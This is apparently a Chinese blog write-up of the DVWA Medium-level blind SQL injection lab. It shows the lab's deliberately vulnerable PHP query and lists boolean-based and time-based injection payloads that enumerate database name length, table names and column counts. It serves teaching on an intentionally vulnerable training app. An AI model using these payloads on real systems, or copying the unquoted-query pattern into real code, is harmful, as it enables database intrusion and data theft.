• DVWA-8.2 SQL Injection (Blind)(SQL盲注)-Medium


    Medium Level

    查看代码

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $id = $_POST[ 'id' ];
        $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Check database
        $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors
    
        // Get results
        $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
        if( $num > 0 ) {
            // Feedback for end user
            $html .= '<pre>User ID exists in the database.</pre>';
        }
        else {
            // Feedback for end user
            $html .= '<pre>User ID is MISSING from the database.</pre>';
        }
    
        //mysql_close();
    }
    
    ?>

    可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号

    x00, , ,\,’,”,x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

    漏洞利用

    虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数id,提交恶意构造的查询参数。

    之前已经介绍了详细的盲注流程,这里就简要演示几个。

    首先是基于布尔的盲注:

    抓包改参数id为 1 and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;

    抓包改参数id为1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;

    抓包改参数id为1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)=8 #,(0x7573657273为'users'的16进制),显示存在,说明uers表有8个字段。

    然后是基于时间的盲注:

    抓包改参数id为1 and if(length(database())=4,sleep(5),1) #,明显延迟,说明数据库名的长度为4个字符;

    抓包改参数id为1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明显延迟,说明数据中的第一个表名长度为9个字符;

    抓包改参数id为1 and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 )=8,sleep(5),1) #,明显延迟,说明uers表有8个字段。

    参考:https://www.freebuf.com/articles/web/120985.html

  • 相关阅读:
    Android随笔
    Android随笔
    阅读笔记
    Android随笔
    Android随笔
    Android随笔
    Android随笔
    Java随笔
    Android随笔
    NC20265 着色方案(dp)
  • 原文地址:https://www.cnblogs.com/zhengna/p/12777956.html
Copyright © 2020-2023  润新知